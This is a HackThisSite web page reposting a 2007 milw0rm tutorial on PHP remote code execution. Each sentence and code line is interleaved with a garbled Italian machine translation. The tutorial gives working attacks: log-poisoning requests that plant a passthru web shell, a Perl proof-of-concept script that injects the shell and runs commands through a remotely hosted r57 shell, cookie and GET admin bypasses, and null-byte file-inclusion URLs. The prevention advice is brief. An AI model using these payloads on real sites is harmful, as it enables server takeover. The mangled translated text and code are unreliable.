Hack questo sito!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Pubblicità HackThisSite.org:: Nascondi questi annunci]

"A tyrant is always stirring up some war in order that the people may require a leader." "Un tiranno è fomentare la guerra in qualche modo che i cittadini possono richiedere un leader." - Plato - Platone

HTS costs $300 a month to operate. HTS costa $ 300 al mese per funzionare. We need your help! Abbiamo bisogno del vostro aiuto!

Donors also receive special recognition on our donors page. Anche i donatori ricevono un riconoscimento speciale sui nostri donatori pagina.

FR DE ES IT PT FR DE ES IT PT

Link to us! Link al nostro sito!

phoenix free shells fenice libera gusci
hackergames.net hackergames.net
PullThePlug PullThePlug

PHP Endangers - Remote Code Execution PHP mette a repentaglio - l'esecuzione di codice remoto
Published by: Pulse , on 2007-08-22 05:50:31 Pubblicato da: Pulse, il 2007-08-22 05:50:31
Remote Code Execution Is Yet Another Common Vulnerability L'esecuzione di codice remoto è ancora un altro comune vulnerabilità existing is wide range of web apps in the current era.It allows a remote esistenti è vasta gamma di applicazioni Web in era.It attuale permette un telecomando attacker to execute arbitrary code in the system attaccante di eseguire codice arbitrario nel sistema with administrator privileges without the attention of con i privilegi di amministratore, senza l'attenzione dei the owner of the targeted site.It's just not a-hole-to-avoid, but an il proprietario del mirati site.It 's non solo un buco per evitare, ma uno extremely risky vulnerability,which can endanger your site to different attacks, vulnerabilità estremamente rischiosa, che può mettere in pericolo il vostro sito a diversi attacchi, malicious deletion of data,even worst Defacing! "maligno" cancellazione dei dati, anche peggiore cancellate! Basic Remote Code Executions: Base di codice in modalità remota le esecuzioni: Now I will highlight some basics remote code executions Adesso mi metterà in luce alcune basi di codice in modalità remota le esecuzioni being planted that exist still in this era of web app development. vengano piantate che esistono ancora in questa epoca di sviluppo web app. We will now examine a comment form getting comments from a user("submit.php") and posting it at "comments.php" D'ora in poi si esamina un commento forma ottenere osservazioni da parte di un utente ( "submit.php") e il distacco a "comments.php" We Are analyzing submit.php with simple post method that submits the gathered user input and forward the request to Siamo submit.php analizzando con metodo semplice post che presenta la raccolta di input e inoltra la richiesta di comments.php. /* / * submit.php:: CODE : CODICE: `<form method="POST" action="">` `<form method="POST" action="">` `<textarea rows="10" name="comments" cols="60"></textarea>` `<textarea rows="10" name="comments" cols="60"> </ textarea>` `<p><input type="submit" value="Post" name="sub"></p>` `<p> <input type="submit" value="Post" name="sub"> </ p>` `</form>` `</ form>` comments.php:: CODE : CODICE: `<?php` `<? php` `$comments = $_POST['comments'];` `$ commenti = $ _POST [ 'commenti'];` `$log = fopen('comments.php','a');` `$ log = fopen ( 'comments.php', 'uno');` `fwrite($log,'<br />'.'<br />.'<center>'.'Comments::'.'<br />'.$comments);` `fwrite ($ log, '<br />'. '<br />.' <center> '.' Commenti ::'.'< br />'.$ commenti);` `fclose($log);` `fclose ($ log);` `?>` `?>` / / Now by just looking at it, we could very easily prove it as insane! Ora solo da guardare, si potrebbe molto facilmente dimostrare come pazzi! How?? Come? Well,as we can see there is a form that submits Ebbene, come possiamo vedere vi è una forma che presenta a user inputted(what-so-ever) comments to comments.php including malicious which writes the comments exactly as user's input inputted un utente (quello che-così-mai) commenti a comments.php compresi dannoso che scrive le osservazioni esattamente come utente di ingresso del without being sanitized.This means that an attacker here is getting full advantage to exploit the vulnerable comments senza essere sanitized.This significa che un utente malintenzionato qui sta il massimo vantaggio di sfruttare la vulnerabilità commenti submission form by executing some malicious request, which could be just to gather server details like using phpinfo() presentazione sotto forma mediante l'esecuzione di alcuni maligni richiesta, che potrebbe essere solo al server di raccogliere informazioni utilizzando come phpinfo () which is an exceptional case for attackers these days,or even more pathetic could be getting a shell on a vulnerable server. che è un caso eccezionale per attaccanti in questi giorni, o anche più patetico potrebbe ottenere una shell su un server vulnerabile. We will take another example using GET request to display error message and log the ip with the specific message. Noi prenderemo un altro esempio di richiesta GET utilizzando per visualizzare messaggio di errore e di log ip con il messaggio specifico. (it's a common vulnerability planted by the coder while developing a website for an organization,etc).'x'. (si tratta di una vulnerabilità comune piantato dalla coder, mentre lo sviluppo di un sito web per l'organizzazione, ecc.) 'x'. /* / * info.php:: CODE : CODICE: `<?php` `<? php` `$msg = $_GET['msg'];` `$ msg = $ _GET [ 'msg'];` `$ip = getenv('REMOTE_ADDR');` `$ ip = getenv ( 'REMOTE_ADDR');` `$error = fopen('errorlog.php','a');` `$ errore = fopen ( 'errorlog.php', 'uno');` `fwrite($error,'<br />'.$msg.'<br />'.$ip.'<br />');` `fwrite ($ errore, '<br />'. $ msg. '<br />'. $ ip. '<br />');` `fclose($error);` `fclose ($ error);` `?>` `?>` / / This piece not only effect and vulnerable to remote code execution but also to several other attacks including Questo pezzo non solo effetto e vulnerabili a esecuzione remota di codice, ma anche per diversi altri attacchi compresi xss,java<b></b>script injection,vbscript injection etc. XSS, java <b> </ b> script di iniezione, iniezione ecc VBScript This will too allow a remote attacker to poison the log file and inject malicious code to the logs. Questo sarà anche permettere a un attaccante remoto di veleno il file di log e iniettare codice dannoso per i log. Now I will highlight another type of remote code execution can also be defined as poisoning the cookies ;) Adesso mi metterà in luce un altro tipo di esecuzione di codice remoto può anche essere definito come l'avvelenamento dei cookie;) /* / * CODE : CODICE: `<?php` `<? php` `require("config.php");` `require ( "config.php");` `if(!isset($_COOKIE['admin']))` `if (! isset ($ _COOKIE [ 'admin']))` `{` `(` `header("Location:admin.php?user=admin");` `intestazione ( "Location: admin.php? utente admin =");` `}` `)` `?>` `?>` / / Now we see the code is really pissed! Ora vediamo il codice è davvero pissed! In simple terms, its trying to say if the cookies of the system matches "admin" In termini semplici, il suo tentativo di dire se i cookie del sistema partite "admin" then it verifies a user as the administrator.This is totally bad! quindi si verifica un utente come administrator.This è assolutamente male! We will look upon another example like this which uses GET request to verify a user status:: Ci occuperemo su un altro esempio di questo tipo che utilizza richiesta GET per verificare lo stato di un utente:: /* / * CODE : CODICE: `$admin = $_GET['admin'];` `admin $ = $ _GET [ 'admin'];` `if(!isset($admin == 1)){` `if (! isset ($ admin == 1)) (` `$queryxyz = "SELECT * from user where username='$admin'";` `queryxyz $ = "SELECT * FROM utente dove nomeutente = '$ admin'";` `header("Location:admin/admin.php");` `intestazione ( "Location: admin / admin.php");` `}` `)` / / It can be just more complicated than that, like most possibly there can be usage of sessions to verify admin if the Si può solo essere più complicata di quella che, come la maggior parte eventualmente non vi può essere l'utilizzo di sessioni per verificare se l'amministratore variable "admin" would match "1", how ever this is just an sql query used to select administrator as the user when variabile "admin" sarebbe partita "1", come mai questo è solo uno query SQL utilizzata per selezionare l'amministratore come l'utente quando admin = 1 ;) The query is giving possibly another vulnerability :P Yeah, right "Sql INJection!"; admin = 1;) La ricerca è possibile dare un'altra vulnerabilità: P Sì, giusto "sql injection!"; Remote Code Execution is also possible through headers deposition or an arbitrary file upload if theres a file processing L'esecuzione di codice remoto è possibile anche attraverso le intestazioni deposizione o un file arbitrario se Theres caricare un file di trasformazione system and is not sanitized. sistema e non è Sanitized. x43 - Exactly How An Attacker Get Advantage Over This Vulnerability And Misuse It! x43 - esattamente come un attaccante ottenere vantaggio su questa vulnerabilità e abuso It! I will highlight exactly how an attacker manage to do this I metteranno in evidenza esattamente come un utente malintenzionato riesca a fare questo Likely supposing an attacker finding a vulnerable target and he got hold of the news that a GET variable have been Probabili supponendo un attaccante trovare un obiettivo vulnerabile e ha ottenuto di tenere la notizia che una variabile GET sono stati implemented here in order to log a particular data to some specific file lets say 'x'. qui attuate al fine di accedere una particolare ad alcuni dati specifici file consente di dire 'x'. The attacker will struggle to their L'attaccante si lotta per il loro best to get hold of the file where the data is being wrote, path arrays are used by the attacker for successful exploitation meglio per ottenere dei file in cui i dati si sta scritto, il percorso array sono utilizzati da attaccante per il successo di sfruttamento and then of course the attacker will likely inject some malicious e poi naturalmente l'utente malintenzionato potrebbe iniettare qualche "maligno" string in order to check if it's filtering the output, in this case no it's not doing any checkup or using htmlentities or stringa al fine di verificare se si tratta di filtraggio di uscita, in questo caso non è non fare alcun checkup o utilizzando htmlentities o htmlspecialchars() funcs.So the attacker will likely get a hell lot of benefit from this.Most probably he will try to spawn htmlspecialchars () funcs.So l'utente malintenzionato potrebbe ottenere un inferno partita di beneficiare di this.Most probabilmente egli cercherà per deporre le uova a shell on the targeted server to gain full advantages of his or her blackhat stuff ;) una shell sul server per ottenere tutti i vantaggi della sua blackhat roba;) Supposing an attack on the victim host Supponendo un attacco alla vittima di accoglienza http://victim.xxx/info.php?msg=<? http://victim.xxx/info.php?msg = <? passthru($_GET['attacker']); ?> passthru ($ _GET [ 'attaccante']);?> This will poison the log file and inject a vulnerable piece of code which can be later exploited and Questo veleno il file di log e iniettare uno vulnerabili pezzo di codice che possono essere sfruttate e più tardi treated as a Remote File Inclusion(RFI) Vulnerability trattata come un Remote File Inclusion (RFI) a causa di una vulnerabilità to get a shell on the victim server and show his/her dirty works.. per ottenere una shell sul server vittima e mostrare il suo sporco lavori .. Probably, \|\|[http://victim.xxx/errorlog.php?attacker=Sh3ll?\|\| Probabilmente, \| \| [http://victim.xxx/errorlog.php?attacker=Sh3ll? \| \| This will do the work! Questo farà il lavoro! ;) In some other cases like the one "if(!isset($admin == 1)" it could be also exploited with great ease, the attacker just In alcuni altri casi, come quello "if (! Isset ($ admin == 1)" potrebbe essere sfruttato anche con grande facilità, l'utente malintenzionato solo have to spoof the variable from the server request and that's not at all difficult being a GET variable :p sono a spoofing la variabile dal server richiesta e che non è affatto difficile essere una variabile GET: p http://victim.xxx/file.php?admin=1 This will do it ;) Questo lo farà;) and for the cookies thingy it's same... e per il cookie è thingy stesso ... just need to edit cookies and you are the master! solo bisogno di modificare i cookie e tu sei il padrone! Supposable the below pattern:: Supposable il modello qui di seguito: CODE : CODICE: `if(!isset($_COOKIE['administrator'])){` `if (! isset ($ _COOKIE [ 'amministratore'])){` `//Some Authencation Headers Below` `/ / Alcuni Authencation intestazioni Sotto` `...` `...` `}` `)` In this type of pattern, you just change the cookies to administrator and tada you are in as admin! In questo tipo di modello, basta cambiare il cookie di amministratore e si sono tada come admin! It's better to handle the case with care.I will now write a little POC(Proof-Of-Concept) in order to explain E 'meglio per gestire il caso con care.I ora scrivere un po' di POC (proof-of-concept), al fine di spiegare and exploit the target remotely and quite easily! e sfruttare l'obiettivo a distanza e facilmente! It's not good but important to use such kind of script Non è buona, ma importante per utilizzare questo tipo di script to exploit the issue and execute the command successfully,since the browser will surely encode your tags, making di sfruttare il problema ed eseguire il comando con successo, dal momento che il browser sarà sicuramente codificare i tuoi tag, rendendo the request not at all efficient and successful! la richiesta a tutti i non efficiente e di successo! The below script would bypass this, and fulfill it's purpose at all cost :) Il seguente script bypassare sarebbe questo, e compiere è fine a tutti i costi:) POC:: /* / * CODE : CODICE: `#!/usr/bin/perl` `#! / usr / bin / perl` `#Php Endangers - Remote Code Execution` `# Php mette in pericolo - l'esecuzione di codice remoto` `#POC To inject and execute a malicious request, probably spawning and executing a shell command` `# POC Per iniettare ed eseguire una richiesta "maligno", probabilmente le zone di riproduzione e di esecuzione di un comando shell` `use LWP::Simple;` `use LWP:: Simple;` `use LWP::UserAgent;` `use LWP:: UserAgent;` `sub header()` `sub header ()` `{` `(` `print q{` `q (stampa` `Usage <target> <vulnerable file> <variable> <log file> <shell> <command>` `Uso <target> <vulnerable file> <variable> <log file> <shell> <comando>` `Example roc.pl http://127.0.0.1 info.php msg errorlog.php http://127.0.0.1/r57.txt ls -la` `Esempio roc.pl http://127.0.0.1 info.php msg errorlog.php http://127.0.0.1/r57.txt ls-la` `}` `)` `}` `)` `$inject = "<?php if(get_magic_quotes_gpc()){ /$_GET[cmd]=stripslashes(/$_GET[cmd])/;} passthru(/$_GET[cmd])/; ?>";` `iniettare $ = "<? php if (get_magic_quotes_gpc ()) (/ $ _GET [cmd] = stripslashes (/ $ _GET [cmd ])/;} passthru (/ $ _GET [cmd]) /;?>";` `#You may notice some additional funcs used to inject, these are to execute and produce 99% successful result` `# Si possono notare alcuni ulteriori funcs utilizzata per iniettare, questi sono di eseguire e di produrre il 99% risultato positivo` `#it would help and bypass magic_quotes func and stripslashes too, that would possibly of lot good to the attacker!` `# sarebbe di aiuto e by-pass magic_quotes funzioni e stripslashes troppo, che sarebbe eventualmente di buona partita per l'attaccante!` `if(@ARGV !=5){` `if (@ ARGV! = 5) (` `header();` `header ();` `}` `)` `$target = @ARGV[0];` `$ target = @ ARGV [0];` `$file = @ARGV[1];` `$ file = @ ARGV [1];` `$var = @ARGV[2];` `$ var = @ ARGV [2];` `$log = @ARGV[3];` `$ log = @ ARGV [3];` `$shell = @ARGV[4];` `$ shell = @ ARGV [4];` `$command = @ARGV[5];` `$ comando = @ ARGV [5];` `$agent = LWP::UserAgent->new();` `agente $ = LWP:: UserAgent-> new ();` `$exec = "http://$target/$file?$var=$inject";` `$ exec = "http:// $ target / $ file? $ var = $ iniettare";` `$agent->get("$exec");` `$ agent-> get ( "$ exec");` `$exec2 = "http://$target/$log?attacker=$shell&$cmd=$command?";` `exec2 $ = "http:// $ target / $ log? attaccante della shell = $ & $ cmd = $ comando?";` `$agent->get("$exec2")` `$ agent-> get ( "$ exec2")` `or die"Host Seems Down";` `o morire "Host Sembra Down";` `print "Injected Successfully!!";` `print "Injected con successo!";` `print "Check The Shell Manually At"." "."http://$target/$log?attacker=$shell&$cmd=$command?";` `print "Controllare il manuale A Shell". "". "http:// $ target / $ log? attaccante della shell = $ & $ cmd = $ comando?";` `#REMOTE CODE EXECUTION` `# Esecuzione di codice remoto` `#An explanation POC for exploiting the roc(Remote CODE Execution) Vulnerability.` `# Una spiegazione POC per sfruttare il ROC (esecuzione di codice remoto) a causa di una vulnerabilità.` / / Null Bytes Injection:: Null Byte di iniezione:: In A Piece Of Code Like One Mentioned Below, It Would Be A Wonder To An Attacker How To Eliminate The Compulsory In un pezzo di codice come uno di seguito indicato, sarebbe una meraviglia per un attaccante come eliminare l'obbligo di File Extension And Exploit The Vulnerability Or Use The Inclusion To Execute A Shell Upon The Targeted Server. Estensione del file e sfruttare le vulnerabilità o utilizzare l'inclusione di eseguire una shell su server. CODE : CODICE: `<?php` `<? php` `$file = $_GET['file'];` `$ file = $ _GET [ 'file'];` `include('$file.php');` `include ( '$ file.php');` `?>` `?>` Now we can clearly declare the above code as a critical vulnerability, helping attacker to do a lfi or rfi depending Ora siamo in grado di dichiarare chiaramente il codice sopra come una vulnerabilità critica, aiutando utente malintenzionato di eseguire una o LFI RFI seconda on the attacker's strategy.But it's clear that the inclusion would be failed because of the extension increment issue. sul attaccante della strategy.But è chiaro che l'inclusione sarebbe fallito a causa della proroga incremento questione. Now the attacker would surely like this at all, and will try to eliminate the extension by using NULL BYTES Or Poisoning Ora l'utente malintenzionato dovrebbe sicuramente come questo a tutti, e si tenta di eliminare l'estensione utilizzando NULL byte o avvelenamento null bytes in to the server. null byte al server. Below is an example what exactly happens when a inclusion is performed in such case:: Di seguito è riportato un esempio che cosa succede esattamente quando un inserimento viene eseguita in tal caso:: http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt? since the code is adding extensions after $file variable means it would be adding .php after .txt, thus making dal momento che il codice è l'aggiunta di estensioni dopo la variabile $ file significa che sarebbe aggiungendo. php dopo. txt, rendendo così the exploitation dumb,in simple it would make the request looks like:: lo sfruttamento muti, in modo semplice renderebbe la richiesta appare come:: http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt.php? Where such case don't exist! Nei casi in tal caso non esistono! Now the attacker will eliminate the extension to successfully exploit the issue by poisoning null bytes in the request Ora l'attaccante eliminerà l'estensione a sfruttare con successo il rilascio, da avvelenamento null byte nella richiesta made,below is how the attacker will manage to do so:: fatto, al di sotto è come l'attaccante riuscirà a farlo:: http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt%00 00% http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt This would make the request eliminate the additional extension, and would successfully exploit the issue! Ciò renderebbe la richiesta di eliminare l'ulteriore proroga, e sfruttare con successo il problema! Prevention:: Prevenzione:: It's better to design what-so-ever form in such a way that it sanitizes and filters a user input before E 'meglio per progettare in modo quanto-mai-forma in modo tale che sanitizes e filtri di ingresso di un utente prima di writing or actually executing the request on the server. effettivamente iscritto o di dare esecuzione alla richiesta sul server. This can be done easily with the ease of php Questo può essere fatto facilmente con la facilità di php built in htmlentities(); htmlspecialchars(); and most importantly strip_tags and stripslashes functions. costruito nel htmlentities (); htmlspecialchars (); e soprattutto strip_tags e stripslashes funzioni. This Will abort a malicious request and will execute the request after the malicious tags had been aborted. Ciò dannoso interrompere una richiesta e l'esecuzione della richiesta dopo il tag "maligno era stata interrotta. For instance an attacker trying to inject a piece of code 'y' to a GET variable.... Ad esempio, un utente malintenzionato cercando di iniettare un pezzo di codice 'y' a una variabile GET .... http://victim.xxx/file.php?var=<? http://victim.xxx/file.php?var = <? phpinfo(); ?> phpinfo ();?> now if the file is under htmlentities,htmlspecialchars,strip_tags or stripslashes() protection, then this will make the ora se il file è in htmlentities, htmlspecialchars, strip_tags o stripslashes () tutela, allora questo renderà il request of the attacker totally dumb and of course of no use! la richiesta di attaccante totalmente stupido e del corso di alcuna utilità! Suppose ably a simple filtration pattern: Supponiamo abilmente un semplice modello di filtrazione: /* / * CODE : CODICE: `<?php` `<? php` `$data = stripslashes($_GET['data']);` `$ dati = stripslashes ($ _GET [ 'dati']);` `$fh = fopen('file.php','a');` `$ fh = fopen ( 'file.php', 'uno');` `fwrite($fh,$data);` `fwrite ($ fh, $ dati);` `fclose($fh);` `fclose ($ fh);` `?>` `?>` / / This will abort the tags "<?", "?>","()" and of course will make the rest of the piece of code of no use since Ciò interrompere i tag "<?", "?>","()" e, ovviamente, farà il resto del pezzo di codice di alcuna utilità in quanto "phpinfo" is not insane or looks malicious the server will only write that in exact ascii form to the file. "phpinfo" non è folle o dannoso guarda il server solo scrivere che in ascii esatta forma di file. There are even better cures by using magicquotes on, how ever it can cause some other complicated problems if not used properly, Ci sono anche migliori cure utilizzando magicquotes su, come mai può causare altri problemi complicato se non utilizzati correttamente, so it's not recommended to beginners until they know what they are doing. così non è raccomandato per i principianti fino a quando non sanno quello che fanno. I have used several examples to explain the basics of remote code execution and exactly how it's planted in web apps. Ho utilizzato alcuni esempi per spiegare le basi di esecuzione di codice remoto e esattamente come è piantato in applicazioni web. I have tried my level best to explain the terms and consequences in simple and easy words including all piece of codes Ho fatto del mio meglio per spiegare i termini e le conseguenze in modo semplice e facile parole compresi tutti i pezzi di codici mentioned here.However I don't hold any responsibility of any misuse or dirtyworks performed by gaining the knowledge here.However di cui non detengono alcuna responsabilità di qualsiasi uso improprio o eseguita da dirtyworks acquisire le conoscenze within the paper.Beside this, I strongly recommend all to go through it, it's simple and easy and will awoke the dangers entro il paper.Beside questo, ho tutte le consigliamo vivamente di passare attraverso essa, è semplice e facile e si svegliò i pericoli that can be encountered by little careless mistakes! che possono essere incontrate da poco incurante errori! by Arham da Arham From http://milw0rm.com/papers/176 Da http://milw0rm.com/papers/176
Cast your vote on this article Cast il vostro voto su questo articolo Note: the order of the votes has been reversed. Nota: l'ordine delle votazioni è stato invertito.

Comments: Commento:
Published: 6 comments. Pubblicato: 6 commenti.

Bliepo32 - 08:57 am Wednesday August 22nd, 2007 Bliepo32 - 08:57 am Mercoledì agosto 22, 2007

Quite informative. Molto informativo. I already knew about remote code execution, but this article goes deeper in it than most. Conoscevo già circa l'esecuzione di codice remoto, ma questo articolo va in profondità è di più. I actually learned something of it. Ho imparato qualcosa in realtà di esso. 7/10 7 / 10

yourmysin - 04:20 pm Wednesday August 22nd, 2007 yourmysin - 04:20 pm Mercoledì agosto 22, 2007

Actually a pretty good article describing LFI/RFI. In realtà un buon articolo che descrive LFI / RFI. It also had some pretty good code examples. Ha inoltre avuto qualche buon esempi di codice.

But the formatting was pretty bad, we have code boxes you know! Ma la formattazione è stata piuttosto male, abbiamo codice scatole sapete! So, i cleaned it up and all, and rated an 8! Quindi, i puliti e che tutti, e uno nominale 8!

muffin1208 - 08:23 am Thursday August 23rd, 2007 muffin1208 - 08:23 am Giovedi 23 agosto 2007

You forgot the credits... Hai dimenticato i crediti ...
http://milw0rm.com/papers/176

liuyuan - 11:56 am Thursday August 23rd, 2007 liuyuan - 11:56 am Giovedi 23 agosto 2007

muffin1208, actually, no he didn\'t on the bottom, it said by Arham, but if it makes you happier, i\'ve also added the site address. muffin1208, in realtà, non ha Non \ 't sul fondo, si dice da Arham, ma se ti rende felice, i \' ve anche aggiunto il indirizzo del sito. Thanks =] Grazie =]

Pulse - 07:25 pm Wednesday September 12th, 2007 Pulse - 07:25 pm Mercoledì 12 settembre, 2007

I didnt forget the credits, it from the actual site, not from milw0rm ;] I didnt dimenticare i crediti, dal sito attuale, non da milw0rm;]

Leafman - 07:06 pm Saturday November 17th, 2007 Leafman - 07:06 pm Sabato novembre 17, 2007

Nice :) Nizza:)
Thus the more reason for me to learn some more php lol Pertanto, il motivo in più per me per imparare alcuni più php lol

This site is the collective work of the HackThisSite staff. Questo sito è il contratto collettivo di lavoro del personale HackThisSite. Please don't reproduce in part or whole without permission. Si prega di non riprodurre in parte o in tutto senza permesso.
Page Generated: Fri, 21 Nov 2008 06:15:48 -0500 Exec: 10 Pagina Generata: Ven, 21 Nov 2008 06:15:48 -0500 Esec: 10
_{Page loaded in 0.11444 seconds!} _{Pagina caricata in 0,11444 secondi!}

Donate Donazioni

Challenges Sfide

Get Informed Get Informed

Get Involved Get Involved

Communicate Comunicare

About HTS A proposito di HTS

Translate Tradurre

Partners Partner